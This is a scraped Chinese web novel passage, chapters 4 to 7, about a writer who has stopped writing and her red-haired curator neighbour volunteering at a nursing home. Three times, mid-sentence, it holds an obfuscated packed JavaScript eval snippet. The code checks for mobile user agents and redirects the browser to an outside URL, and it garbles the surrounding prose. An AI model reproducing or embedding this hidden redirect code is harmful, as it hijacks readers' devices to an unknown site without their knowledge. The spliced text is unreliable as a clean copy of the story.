鱼肉饺子在向她招手。 罢了罢了，孟翡压下馋虫。 “算了，卢哥，下午吃得有点多。”孟翡的语气中充满遗憾，“只能下次再尝尝嫂夫人的手艺了。” 她也学着薄贺樾的样子抱抱拳。 “那好吧。”张卢咂咂嘴，语气多少有点落寞。 孟翡一转头就对上了薄贺樾充满笑意的眼睛，她有点慌张地垂下视线。 怎么莫名其妙地有一种做坏事被抓包的感觉？孟翡在心里嘀咕，她咬咬嘴唇。 不过，谁说抱拳就是他薄贺樾的专属动作啦？ 想到这里，孟翡又理直气壮起来，不甘示弱地也朝薄贺樾看去。 只不过这时的他已经转开了视线，饶有兴趣地盯着敬老院门口那条小黑狗。 “……下次我和我媳妇一起包玉米猪肉馅饺子，或者你爱吃香菜猪肉的不？你俩可一定要过来啊！”张卢挠挠头，兴致勃勃，“我调馅可是一绝，你们嫂子也包得漂亮板正，这种好东西可在饭店吃不到呢……” 爱吃饺子，更爱包饺子的张卢可没注意到老同学和好兄弟之间的“眉眼官司”，又自顾自开始格外陶醉地介绍着另几种馅料。 “茴香猪肉的也好吃，配上醋，我能吃一大盘子，你嫂子还爱搞点创意馅，黄瓜鸡蛋馅没见过吧？”张卢满脸自豪，“还有西红柿牛肉馅，当时你嫂子说要包这个馅都吓我一跳，我还说西红柿水分大，要是饺子皮煮破了，这不是西红柿牛腩面片汤了嘛，不过你嫂子实在手巧，这也能做好……” 薄贺樾矮下身子，朝着小黑狗挥挥手，可是人家小黑狗只是高冷地瞥了他一眼，又高冷地转过头去，用一个乌漆麻黑又油光瓦亮的后脑勺对着他。 薄贺樾失望地“啧”了一声。 “嘬嘬嘬。”孟翡轻轻地开口，用余光扫了一下小黑狗。 刚刚高冷的小黑狗转过头看看，又转过头去，再次用后脑勺对着他们。 不过还是有点儿反应的。 孟翡得意地瞥了一眼薄贺樾。 他的眉眼也弯了起来，也学着“嘬嘬嘬”几声，可惜小黑狗像是看穿了他们的把戏，倔强极了，再也不把头转过来。 “……总之孟翡啊，无论你爱吃什么馅的或者想吃什么馅的，卢哥都能给做出来！” “噢！好啊，卢哥。”孟翡的视线再一次投向说得口干舌燥的张卢，感觉有点对不起老同学，心虚地赶紧给他递上一瓶水。 “对了，孟翡，你咋回去啊？我开车送你？”张卢喝了几口水，憨厚地笑着。 “不用麻烦了，卢哥，我还住那边，近得很，我走回去就行。” “哎哟！那怎么行，你……”张卢还想说什么，但是被蹲在一旁观察小黑狗的薄贺樾打断了。 “我和她住对门，我们结伴走就行。”薄贺樾满意地站起来活动了一下脖子，刚刚小黑狗终于被他的“嘬嘬嘬”所打动，“屈尊降贵”地向这边看来。 小黑狗看他了，薄贺樾颇为得意。 …… 就这样，孟翡和薄贺樾一起走在小巷子中。 沉寂了一天的小巷此时也热闹起来，几个小摊贩正麻利地挥动着锅铲，为顾客带来充满烟火气的美味。 薄贺樾和孟翡并排走着。 他走在外侧，她走在里侧。 小巷还是有些逼仄，时不时会有骑着自行车的人拨弄着车铃提醒行人避让，还有骑着小电驴的人摁着喇叭，滴滴滴地兀自响成一片。 “让一下、让下啦。”自行车潇洒地离开。 “滴滴滴！”小电驴也潇洒地离开了。 薄贺樾的胳膊随着车铃与喇叭声也会蹭到孟翡的防晒衣。 “不好意思。” 薄贺樾说。 “没关系。” 孟翡回复。 在“不好意思”与“没关系”循环三次后，红发青年还是开口了。 “孟翡，我们还是别并排走了，你先走，我在你后面。”他有些尴尬地抓了一把头发，那头红发乱糟糟的，显得有点…… 憨。 那张脸实在过于周正，就更显得那股憨劲儿十分违和。 “好啊。”孟翡忍着笑意快走几步，越过他后才放肆地扬起嘴角。 这个红毛小哥，人真的很不错。 …… 此时的铁鑫小区充满了孩子们的欢笑打闹声，孟翡和薄贺樾一前一后地走进小区，薄贺樾又快走几步，和她并排。 “刚刚看了群消息，明天八点我们要去敬老院啊，咱明天也一起出发吧？” “可以啊，对了，有什么注意事项吗？我第一次正式参加敬老院的活动诶……”她摸出手机，准备仔细看看群消息，“呃，手机没电了。” “没事，你拿我的看吧。” 薄贺樾把手机递到她面前，带着一阵清新的薄荷香气。 等确定好明天的工作后，薄贺樾挥挥手：“我得去买点东西，你先上去吧。” “再见呀，孟翡。”红发青年道。 “明天见！”孟翡也朝他挥挥手。 终于到家了，孟翡才后知后觉地感受到一点迟来的疲惫感，她揉揉有些发酸的肩膀，感慨自己平时还是锻炼得有点少了。 今天的志愿活动叫她感觉到累但很开心，在干活的时候，她也顾不得想最近那些乱七八糟的烦人事情了，心也变得格外平静。 给手机充上电，又踢踢踏踏地去洗澡，直到抹完护发精油和身体乳后，孟翡才感觉自己没有那么疲惫了。 而摆脱疲惫之后的重要任务就是解决自己的饥饿问题。 没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375917|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她有点饿了。 孟翡有些后悔没有去张卢家蹭饭，鱼肉饺子，想想就很好吃。 不过嘛，火鸡面也不错。 孟翡撕开一袋火鸡面，利索地倒进小锅里，等面煮好后又从冰箱翻出一片芝士片放进碗里。 香得嘞。 要不是厨房空间实在太小，她都想跳一支“神厨小福贵”之舞。 吃饱喝足，手机也充好电了，孟翡一开机就被微信99+的消息闪到眼睛。 被她置顶的“和谐一家亲”和顾汩的对话框都有着小红点。 孟翡快速地回复了孟家父母的消息，长呼一口气后才沉默地点开了顾汩的对话框。 顾汩给她发了一长串的消息，她慢慢地看着，然后一条一条地点击着顾汩的消息，耐心地逐条回复。 她一字一句地认真写道—— 我认真的。 汩汩，我感觉我现在好像没有什么表达欲了，我不知道该怎么说这种感觉。 我对着自己写好的大纲，脑子却是一片空白。 甚至，我看到自己以前的作品都会感觉很难过。 我知道这很奇怪…… 她给顾汩发了一连串的消息，轻轻地把手机放在茶几上，孟翡看着屏幕暗了下去，心里不知道为什么也空了一下。 屏幕暗下去许久也没有亮起，孟翡把自己陷入柔软的沙发中。 家里一天都没有开窗通风，有些憋闷，她在沙发上又窝了一会儿后还是忍无可忍地站起来去把阳台的窗户打开，又搬了把凳子坐在窗边看着月亮。 雨后的燕城总有一股特别的味道，带点泥土味，也有一点草木味。 孟翡微微眯起眼睛，贪婪地吸着这股伴她成长的味道。 手机在手中颤动一下，她低头看看。 是薄贺樾。 薄贺樾：孟翡，我回来的路上看见你在揉肩膀，我刚刚去药店买了药膏和一盒膏药，你看看哪个更对症就用哪个，东西已经放在你门口了，记得拿。 孟翡有点意外，她实在不记得自己在路上有没有揉肩膀了。 道谢后，孟翡将门口那袋子提进家，薄贺樾还挺细心的，还在袋子下面垫了废报纸。 还没来及仔细翻找药品，手机又震动起来。 顾汩：嗯嗯，小翡，无论你做什么决定，我都支持你。 顾汩：我的翡，要健康快乐，这才是最重要的。 顾汩：千万别给自己太大压力了，写不出来就先不写了，好好休息，好好调整状态。 孟翡的眼眶又湿漉漉起来，她吸吸鼻子，闷闷地回了一个猫猫点头的表情包。 睡前，孟翡认真地看完了所有的药品说明书，找了一个最对症的药膏抹在身上。 不知道是不是心理作品，她感觉好像确实好一点了。 今天确实累着了，孟翡躺在床上没多久就感觉困意袭来。 薄贺樾今天送了她这么多药膏，她也不好意思白占人家便宜，孟翡迷迷糊糊地想着，等过几天一定要请他吃顿饭。 “薄贺樾？薄贺樾、薄贺樾、薄贺樾……” 孟翡突然灵光乍现，这不就是她在火车上快睡着时见过的那个名字吗？ 一瞬间，她仿佛又闻到了那股特有的火车气息，还带着一点油墨味儿。 原来是他啊。 策展人，薄贺樾。 那个照片看起来像华尔街精英一样的家伙。 她打个哈欠，忍不住勾起嘴角，真是个“照骗”。 现实中的他像个爱豆，乍一看和西装革履的华尔街精英照片半点儿关系都没有。 这可不怪自己没认出来…… 月光淡淡地洒进卧室，留下几分温柔的气息，外面又下起雨来，刷啦啦的声音仿佛催眠曲。 孟翡又翻了个身，彻底睡着了。 5. Chapter 5 微风轻轻巧巧地拂动着柳树的发梢，带来几分湿漉漉的凉意，昨晚又下雨了，盛夏的燕城变得舒爽而湿润。 孟翡睡眼朦胧地摁掉手机闹钟，在床上又发了发呆才爬起来洗漱。 她又抬手揉捏了一下，发出“嘶”一声，肩膀的痛感与昨晚相比已经消散不少，但是还有些酸涩。 抹了点昨天的药膏，略微浓重的药味使孟翡终于完全清醒过来。 已经七点零五分了，距离自己与薄贺樾约好见面的七点半还有二十五分钟。 得赶紧收拾了。 孟翡动作迅速地热好面包片，又从厨房翻出一瓶牛奶，吃完后又用防晒喷雾把自己露在外面的皮肤严严实实地全喷了一遍…… 等一切工作都完成后，她的手机闹钟也恰到好处地响了。 孟翡深吸一口气，拉开防盗门。 “早上好呀，薄贺樾。”对门的红发青年和她同时推门出来，今天的他又恢复了那种“爱豆装扮”，满耳朵亮闪闪的耳饰都要把孟翡闪晕过去。 不过，现在的孟翡可不是第一次见他的孟翡了，她现在是孟·已经成长的·潮人恐惧症减轻的·翡。 孟翡把手中的牛奶递给他。 “谢谢你的药膏。”孟翡朝他扬起一个真心实意的笑容，活动了一下肩膀，“今天早上醒来的时候我就感觉好很多了。” “早上好！”薄贺樾也朝她笑笑，“好多了就行。 “噢！谢谢你的牛奶。” 他伸手准备接牛奶，微凉的指尖不经意地擦过孟翡的小指，两个人都下意识地缩回手，那瓶可怜的牛奶差一点就摔到地上。 “呃，不好意思。”红发青年有些窘迫，他紧紧地扣住牛奶瓶，连关节都因用力而泛着白色。 “没事没事。”孟翡心有余悸地盯着牛奶，这要是打翻了，等他们清理完再出发肯定就会迟到了，她摆摆手，“我们赶紧出发吧。” 初中还没有开学，早晨的小巷子中行人不算多，薄贺樾和孟翡也不用像昨天那样一前一后走。 阳光温柔而不炙热，薄贺樾与孟翡两个人并肩走在安静的巷子中，一时间只有风吹树叶的“唰啦”声。 虽然已经抹了防晒霜，但是一向对防变黑事业格外重视的孟翡还是撑起了遮阳伞。 那总不好意思只给自己打伞吧，孟翡努力地把伞举得高高的，将薄贺樾也放到遮阳伞的保护范围内。 不过这家伙也太高了吧，没过几秒，孟翡就感觉自己有点手酸，抹药缓解一点的肩膀又隐隐作痛起来。 “我来撑伞吧。”他说道。 薄贺樾撑着遮阳伞，宽大的伞将两个人都罩了进去，他将自己的步子迈得很小，和孟翡保持着同样的速度，那瓶牛奶在他另一只手里，带着一点独属于空调房的凉意，在这夏日的早上格外适宜。 他看着身边的姑娘，有点想说什么打破这种有点尴尬的安静，又不知道该如何开口，正当他纠结的时候—— “昨天听见你名字的时候，我就感觉很耳熟，后来想了又想。”孟翡边走边说，“我曾经在一本杂志上见过你诶，薄贺樾，新锐策展人！” 她的尾音带着一点点调皮的上扬，恰到好处地打破了安静的氛围。 薄贺樾点点头：“是不是感觉有点不可思议？我在杂志的照片可跟我本人完全不一样。” 他甩甩头，耳饰又闪耀起来。 他从英国留学回来后就一直从事策展，这两三年里也渐渐在圈子中崭露锋芒，只不过当他正炙手可热的时候，却推了后面的工作，独自一人来到燕城。 “是挺不可思议的。”孟翡老老实实回答。 …… 谈笑间，路程也仿佛缩短了许多，孟翡与薄贺樾都感觉没过多久就走到了敬老院门口。 “哎！你俩来了呀！”张卢的大嗓门极具穿透力，他把红袖章塞给他们，“自己戴上啊，一会儿就去干活了哈！” 薄贺樾一脸嫌弃地看着那与他今日装扮格格不入的红袖章，叹了口气后还是顺从地将它别在袖子上。 孟翡好笑地别开视线。 今天敬老院要举行歌唱活动，志愿者们都在一楼大厅内布置场地，孟翡加入了打气球的队伍，而薄贺樾跟着张卢他们一起去搬凳子了。 几个女孩子说说笑笑，孟翡边听着她们分享的八卦边不停地用打气筒打着气球，刚打了几个就感觉肩膀开始酸痛，只能减缓速度。 “美女们！”张卢大呼小叫地挤到她们身边，“用这个吧，外卖刚送来的。” “哟！卢哥给我们准备了电动打气筒？”孟翡旁边的姑娘拆开了张卢带来的包裹，“现在用的这个确实慢，卢哥蛮细心的嘛！” “嗐！可别夸我了，这是老薄买的，他才是货真价实的细心人儿。”张卢摆摆手，又指指还在从二楼往下搬凳子的薄贺樾。 许是听见了动静，薄贺樾朝孟翡这边望来，见她们拿到了电动打气筒，满意地笑笑，放好凳子后又转头上了二楼，颇有“深藏功与名”的意味。 孟翡抓过一个电动打气筒继续打气球，在心里感叹：科技改变生活。 缓了缓后，她的肩膀也没那么疼了。 人多力量大，没过多久场地就布置好了。几个志愿者去楼上请老人们下来，孟翡和薄贺樾他们留在楼下，为老人们安排座位。 九点半，敬老院歌唱活动正式开始。 几个志愿者先做了热场，几首经典老歌让在座的老人们都轻轻地跟唱。 歌声悠扬动听，但是麦克风的声音却有点小，孟翡正挥汗如雨地蹲在舞台侧面对照着说明书调整着音量。 “这个键吗？试一试……” “孟翡，你去那儿坐着歇一会儿吧。”张卢也蹲在那里，“咱团队里有个学舞台设计的，现在应该在楼上呢，我给他打个电话叫他过来弄弄……” 好吧。专业的事还得让专业的人来做，孟翡点点头，猫着腰去最后一排坐好。 好巧不巧，旁边就是薄贺樾。 薄贺樾歪头和她打个招呼：“孟翡，今天没累着吧？你的肩膀还得好好养一养。” “没有，多亏了你买的电动打气筒。”孟翡朝他笑，“又省力又方便……” “下面就是我们的互动环节，击鼓传花！”主持人小姐姐用满怀激情的语气说道，“鼓声停止，传到谁手里，谁就得上台唱首歌哦。” “天！”孟翡感叹一声，这简直太可怕了，不过这么多人，轮到自己的概率还是挺低的，这样想想，也没那么可怕了。 薄贺樾也坐直了身子，一副如临大敌的样子。 孟翡心想，要是真轮到薄贺樾，他的形象可正好表演呢，她想想那个场面，不由得偷笑几声。 不过事与愿违，鼓声停止后，孟翡看着手中的花，陷入了深深的思考之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375918|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诶？怎么回事？概率这么低也能轮到自己？ “哇！是志愿者孟翡同志，让我们一起期待她的表现吧！”主持人用夸张的语气说着。 孟翡两眼一黑，事已至此，只能靠自己了。她一脸严肃地站起来往台上走去，站起来的同时还听见旁边薄贺樾的一声“加油”。 加油孟翡。她也给自己打气。 孟翡选了个小甜歌，歌词简单，唱起来也不难，只不过她实在有点紧张，唱到副歌时还是走调走得乱七八糟，不过好在最后也是跌跌撞撞地唱完了。 台下的老人们和志愿者伙伴们倒是很捧场，孟翡刚一唱完就收获了一片掌声，那几个和她一起打气球的女孩子们都站起来给她鼓掌了。 本来有点不好意思的孟翡此时也挂起了笑容，咧着嘴朝那些女孩子们挥手，从容地下台回到座位。 当众唱歌，也没那么难嘛。孟翡想道。 下一个节目是几个老人带来的，那个白发苍苍的爷爷在表演前说，他们也就是随便唱唱，如果唱得不好，让大家多多担待。 “我所热爱的， 是钢铁的灵魂。 她坚硬， 她不屈， 她拥有写满故事的记忆。 燕城啊！ 钢铁铸成了勋章， 勋章上洒满了汗水， 汗水中凝结着咱们的力量和智慧。 你从哪里来？ 从劳动中来！ 你从哪里来？ 从汗水中来！” 在手风琴悠扬的伴奏中，那几个老人按不同声部唱着。 孟翡有点吃惊地瞪大双眼。 这水平，完全不是他们刚刚说的“随便唱唱”啊，他们也太太太谦虚了吧。 孟翡想起刚刚自己的五音不全，在这悠扬的旋律中更觉两眼一黑。 急急急！哪里有地缝叫她暂避一下啊啊啊！ 薄贺樾看见孟翡的表情变得懊恼，白皙的脸上还泛起红晕，眼睛紧紧盯着地面，好像在寻找着什么。 他了然一笑。 “卢哥，不愧是厂里的合唱团成员啊，这也太专业了！”薄贺樾和坐在另一侧的张卢感叹道，声音不大不小，刚好让孟翡听见。 张卢陶醉地合着拍子摇头晃脑：“那当然啦，这些叔叔阿姨们各个身怀绝技，钢铁厂合唱团还在省里的比赛里得过奖呢……” 原来是专业的啊，孟翡在心里嘀咕一句，那确实不能和专业的相比，自己就是一个普通文科生，自小到大也没有什么文艺细胞，唱成这样也还算……说得过去吧。 想通了这一点，孟翡也没那么尴尬了。 薄贺樾一边附和着张卢，一边用余光观察正竖着耳朵听他们说话的孟翡，见她脸上的红晕慢慢散去，他才暗戳戳地笑了一下。 “你神神秘秘地笑什么呢？”张卢有些迷惑地看看薄贺樾。 “咳咳咳咳，没什么。”薄贺樾摸摸嘴角，又小心地朝孟翡那边瞥了一眼。 我可真是助人为乐的燕城好邻居啊，薄贺樾想。 渐渐地，更多的老人加入了。 “不变的是坚硬不屈的灵魂， 更是流淌在生命中的热爱。 燕城啊！ 钢铁呀！ 你从哪里来？ 从钢铁中来！” 一曲唱完，几个白发苍苍的老人眼中都有晶莹泪水。 6. Chapter 6 主持人适时地站起来，引导表演者们回到座位上。 可是那些老人们依然沉浸在刚刚的情绪之中，久久不能自拔。敬老院年纪最大的刘奶奶抹着眼泪：“第一次听这首歌时，我才刚进厂子呢，师傅带着我们这些新人，那时候我们吃住都在厂里，同事就是自己的兄弟姐妹……” 旁边的牛爷爷也附和着：“是啊，当时我师傅还带着我们一起唱这首歌嘞，时光催人老哟，一转眼我们也不是年轻时候了。” 坐在后面的孟翡也听见了这些话，心里不免也有些感叹，别说是老人们会回忆往昔，感慨时光太匆匆，连她自己也会回忆学生时代，追忆小时候的日子，不过每当这时，孟母都会说她“小小年纪为赋新词强说愁”…… 几个老人都在回忆着当年年轻气盛的自己，感慨着那时候发展迅速的燕城。 “当年，谁不知道咱燕城呢，一城铁一城钢，谁不夸一句咱燕城钢铁厂‘真牛’啊。”牛爷爷有些落寞地看着这些认真听他们说话的年轻志愿者们，“可是现在，唉……” 不知不觉之中，现场陷入到一片沉寂。老人们都沉浸在回忆之中，而这些大部分都是燕城本地人的志愿者们，也都陷入到不知名的情绪之中，这些志愿者们的长辈中，也有着这样的“钢铁厂人”。 燕城一直都有这句俗语：燕城人家家户户都至少有一个钢铁厂人，而绝大多数的家庭都与燕城钢铁厂有着或深或浅的联系。 孟翡就是这样的，她的父母都是钢铁厂的职工。 现在燕城的常住人口是越来越少了，老龄化也越来越严重，这几年，燕城最红火的反而是各种养老机构。孩子们都去外地工作了，而不愿意离开住了一辈子的燕城的老人们纷纷选择去养老院住着，既能叫不放心他们的儿女们安下心来，也能和自己年轻时的老伙计们唠唠嗑、逗逗闷子，生活也算得上是多姿多彩。 孟翡想得出神，而一旁的薄贺樾也皱着眉头陷入沉思。 燕城作为老牌重工业城市，近年来一直走下坡路，因为市场需求的变化与环保要求的提高，燕城的支柱产业——钢铁业更是产能下滑得厉害，经常性停工停产…… 还是孟翡最先回过神来，这活动的本意不是让老人们放松心情嘛？现在怎么都陷入到沉默当中来了？ 她赶紧戳戳活动组织者张卢：“嘿！这样下去可不行啊！你快说点什么。” 张卢的眼睛也有点湿润，他愣了一下才开口道：“孟翡，你说得对，这样下去可不行。” 他擦了一下眼角，站起来咳嗽几声，把大家的注意力都吸引过来。 “叔叔阿姨，爷爷奶奶，咱现在也是高兴的好日子……” 薄贺樾坐在张卢和孟翡中间，刚刚他们说话时，孟翡的身子往自己这边偏了不少，薄贺樾都能闻见孟翡衣服上淡淡的玫瑰味，他有些不好意思地往座椅上缩缩，留出前面的空间让他们交谈。而现在，活动又继续举行了，身边的孟翡和张卢都在兴高采烈地看着表演，孟翡还在小声地跟唱着，乌黑柔顺的头发整齐地别在耳后，露出姣好的侧颜…… 自己的鼻尖似乎还萦绕着那股清雅的玫瑰香气。 薄贺樾下意识地摇摇头，似乎是在震惊于自己的嗅觉，耳畔的金属耳饰叮叮当当地响成一片，发出格外悦耳的冷声。 他这才回过神来，继续认真看着表演。 最后一个节目是王奶奶带来的，前排的老人们说，王奶奶年轻的时候就有一把好嗓子，当年在钢铁厂也是出了名的。 听了这话，孟翡和薄贺樾不约而同地坐直身子，全神贯注地等待着王奶奶上场。 王奶奶今天的打扮得格外利索，半白的头发整整齐齐地盘在脑后，精神抖擞地走上舞台。 等她一开口，大家都“哇”的一声，确实不愧于“钢铁厂金嗓子”之名，再配合着她灵动的表情，仿佛让大家来到了歌剧院。 就是这音响设备不太好，经过调试后还有些呲呲啦啦的声音，饶是这样，王奶奶的表演也收获了相当热烈的掌声。 她笑呵呵地一鞠躬，正准备下台，可是主持人却把王奶奶拦住了，正当她和台下的老人一脸疑惑时，两个女孩子一起端着蛋糕从后台走出来， “哎！你们这些孩子哟！”王奶奶一拍大腿，眼角微红。 今天是王奶奶的生日，志愿者们早早地就策划好了为她庆生，昨天晚上就在大群里发了通知，孟翡和其他志愿者们都站了起来，笑盈盈地看着老人们。 “买这东西干啥呀，多浪费钱，你们花了多少钱，奶奶给你们报销，你们都还小呢，还在长身体呢，拿了钱去买点好吃的给自己补一补。”王奶奶看着这些年轻人，擦擦眼角，旁边的老人们也纷纷点头，附和着她的话。 薄贺樾有点吊儿郎当地咧嘴笑，大声说道：“王奶奶，我们志愿团队里有生日经费的，而且——” 他扯过张卢和另一个壮壮的男生，接着说：“我们都二十好几了，补一补的话也长不了个子，只能像我们这两个哥们一样长肚子。” 张卢他俩笑着锤了一下薄贺樾的肩膀：“老薄这小子惯会得理不饶人。” “你呀你呀。”王奶奶也被他的话逗笑了，其他老人也都被逗得合不拢嘴。张卢找了几个志愿者一起重新摆放了桌椅板凳，寿星王奶奶被老人们和志愿者们围在中间。 “您得先许愿。”孟翡笑眯眯地看着王奶奶，“许了愿再吃蛋糕，蛋糕会变得更好吃哦。” …… 结束了一天的活动，孟翡感觉非常充实，虽然和除了薄贺樾与张卢的志愿者伙伴们相处才一天，但是她早就被大家的热情率真所打动，而且和那些老人相处也很舒服自在。 夜风绵软，几个年轻人说说笑笑地朝烧烤店走去，孟翡有点累，便走得慢了一些。薄贺樾一侧头发现孟翡落在了后面。脚步便慢下来，直到和孟翡并排，他才恢复了不快不慢的速度。 柳树的枝条时不时遮住他的视线，薄贺樾轻轻地拨开这些柔软的烦恼，身旁孟翡合着他的脚步，影子被路灯拉得长长的。 薄贺樾突然想说点什么。 “今天的节目你喜欢吗？”他想了半天，才憋出这句。 “挺好的啊。”孟翡拨弄一下被风吹乱的头发，发自内心感叹道，“没想到老人们的生活这么多姿多彩。” 薄贺樾也点点头：“我之前也做过志愿活动，但是和这么多老人打交道可是头一次……” “哎！小孟和薄贺樾，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375919|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩快点儿，一会儿连凳子都没了！”一个女孩子从烧烤店探出脑袋，朝他们挥挥手。 “这家店这么火吗？”薄贺樾有点震惊，他看看手机，这都已经过了饭点了。 孟翡快走几步，有些微喘：“这是我们这边公认最好吃的烧烤，无论是不是饭点儿，人都很多的，快走快走，不知道能不能抢上他家的招牌烤腰子和小花卷儿。” 一想到吃，孟翡也不觉得身上疲乏了，步子迈得大大的朝小店走去，薄贺樾有些好笑地看着她的背影，也加快了脚步。 幸好他们来得不算晚，那几个招牌菜都被收入囊中。 顾客太多了，距离上菜还有很久，张卢便建议大家玩点小游戏来打发时间。 “玩真心话大冒险？”他兴冲冲地提议道。 “只玩真心话吧。”孟翡环视一圈，饭店空间狭小，玩“大冒险”可能会施展不开。 “行！那咱几个拉个小群，发骰子，最大点数的问最小点数的。” 孟翡点进这个小群，看见大家都已经发了，对面的张卢正长吁短叹，他刚发的骰子点数是2，是目前最小的。 孟翡的骰子还在旋转着，最终定格在一个点数上。 在上午和孟翡一起打气球的宁元元哈哈一笑，揽上孟翡的肩膀，她为人很爽快，不到半天就和孟翡就熟悉起来。 宁元元将长发拢了拢，一脸好奇：“小孟是做什么工作的？上午我就想着你估计是个老师，看看我猜的准不准” 孟翡摇摇头，拿起汽水瓶和她碰杯。 “我以前是个小说作者，主要写言情的，偶尔也写点儿童文学。” “以前？”薄贺樾敏锐地抓住这个词，他刚说完就有些后悔，悄悄地看着孟翡的脸色，生怕冒犯到她。 孟翡倒是脸色如常，说实话，她现在其实也没前几天那样难受了，燕城的生活让她的心境开阔了些。 “是呀。在一个月前我还在为我下一本书写大纲呢，只不过现在的我，确实有点写不出来了。”孟翡喝了一口汽水，神色间有点惋惜，她是真的很喜欢那个大纲。 “来来来，继续！” “快点儿，还有谁没发？” 这一轮，提问者是张卢，被提问者是薄贺樾。 “嗯，老薄啊，你谈对象没？”张卢声音很大，引得半个店的人都往这边看，他做了一个抱歉的手势，又低声解释，“我媳妇的妹妹，大四了，那天在敬老院的公众号看到你照片了……” 薄贺樾摇摇头：“没有，没谈过。” 张卢的脸上刚有喜色，正准备开口。 薄贺樾想了想又补充了一句：“目前还是以事业为重，还没这个想法。” “好吧，事业型男人，期待你的新展。”张卢遗憾地咂咂嘴。 第三轮，孟翡运气很好，直接就是最大的点数，而最小点数的，又是薄贺樾。 问什么呢？孟翡有点犯难，她看着坐在斜对面正笑眯眯看着她的红发青年，一时间更是脑袋空空。 “十六桌！烤串来喽！” 好在，热气腾腾的烧烤终止了这场游戏，几个年轻人都忙着分这些油光锃亮的串串。 真开心呀，嘴里嚼着小花卷的孟翡想。 7. Chapter 7 在燕城的日子好像都差不多，但是又好像被谁摁了加速键一样，这一个月，孟翡感觉过得飞快。 在当天有敬老院活动的时候就早点起床，和薄贺樾结伴去院里，和小伙伴们共同完成一项项非常有意义的工作，如果活动结束得晚，还能和大家一起撸个串。 若是没有活动，她就可以睡到八点多，然后溜溜达达地去买个早饭，顺便再去菜市场买一点新鲜蔬菜，回家后对着食谱认真钻研，既锻炼了厨艺，又打发了时间，孟翡感觉自己的厨艺在这快一个月的时间里进展迅速。下午有时候看看书、看看电影，有时候和顾汩这些朋友们聊天，有时和志愿队的小伙伴们逛街…… 总之呀，她的生活，舒服又闲适。 已经立秋了，似乎就在转眼之间，天空就变得更高了，云朵层层叠叠地挂在蓝得透亮的天空上，整幅画面美得像童话。 燕城的初秋总有一种迷人的味道，干爽的风吹在身上，消弭了夏日的燥热。 孟翡靠在软乎乎的抱枕上，正在翻看着菜谱—— 这是从她家老书柜里翻出来的，比她的年龄还大，书页都被时间沤成了淡淡的黄色，孟翡每次翻书都格外小心翼翼的，生怕让这脆弱的老书散架。 快到中午的饭点了，孟翡决心今天要把这道宫保鸡丁成功做出来，要知道她此前这道菜可失败过两次呢。 她抿了一口热茶，将茶杯轻轻地放在茶几上，发出碎冰般的玻璃碰撞声。 放在茶几上的手机突兀地响了起来，孟翡一看来电显示，就心虚地合上书，深吸一口气才接起电话。 “妈，我还不想回鹿城呢。”孟翡耐心地和孟母打电话，“我把自己照顾得挺好的，我不是每天都在群里发我吃了什么嘛。” 当初她和孟家父母说自己很快就回鹿城了，但是现在都一个月了，孟翡还在燕城呆着，思女心切的孟家父母最近总打电话催她回去。 “你这孩子……”听筒里又传来孟母絮絮叨叨的声音，孟翡把手机换到另一只手上，又慢慢翻看起那本老菜谱。 突然，她的动作顿住了。 “你们要回燕城？”孟翡的声音一下子升高了，语气里可以听出显而易见的欢快，“什么时间回来啊，我提前去买菜做饭……” “算了，叫你爸做饭吧，或者咱点外卖。”自家女儿的水平她还是知道的，从图片上看确实有所进步，但…… “我做得饭很好吃的！”孟翡轻“哼”一声接着说，“我现在的水平真的是大师级别的好嘛！” “好好好，你最厉害啦！”孟母妥协，“我们大概明天早上六点多从鹿城出发，不堵车的话，十一点多就到了，能赶上你的爱心午饭。” 和孟母定好时间后，孟翡才哼着歌去厨房，三战宫保鸡丁。 平时厨房里令人讨厌的抽油烟机嗡嗡声在此时都变得悦耳起来，起锅烧油，这道菜的步骤都刻在了她的脑子里。 孟翡有条不紊地挥舞着铲子，那架势看起来确实有模有样。 果然，这次的菜还算得上成功，鸡肉滑嫩、胡萝卜和黄瓜脆嫩，花生和葱段丰富了整体的味道。 孟翡满意地点点头，想着下次也给对门送一份。 歌唱比赛那天，她在和薄贺樾回小区的路上就提出要请他吃饭作为他送药膏的答谢，但是薄贺樾说什么也不肯。 “那要不就这样，你如果当天来不及做午饭，就给我发消息吧，我中午多做一点给你。”孟翡垂下眼想了又想，才想到了这个方法。 薄贺樾侧过头对上孟翡亮晶晶的眼睛，已经到嘴边的“不用麻烦了”生生被改成了“那就麻烦你了”。 他看着笑眯眯的姑娘，不由自主地也弯起嘴角。 夏夜的燕城，宁静而美丽，路灯将他们的影子拉得长长的，还带着一点晚风的味道。 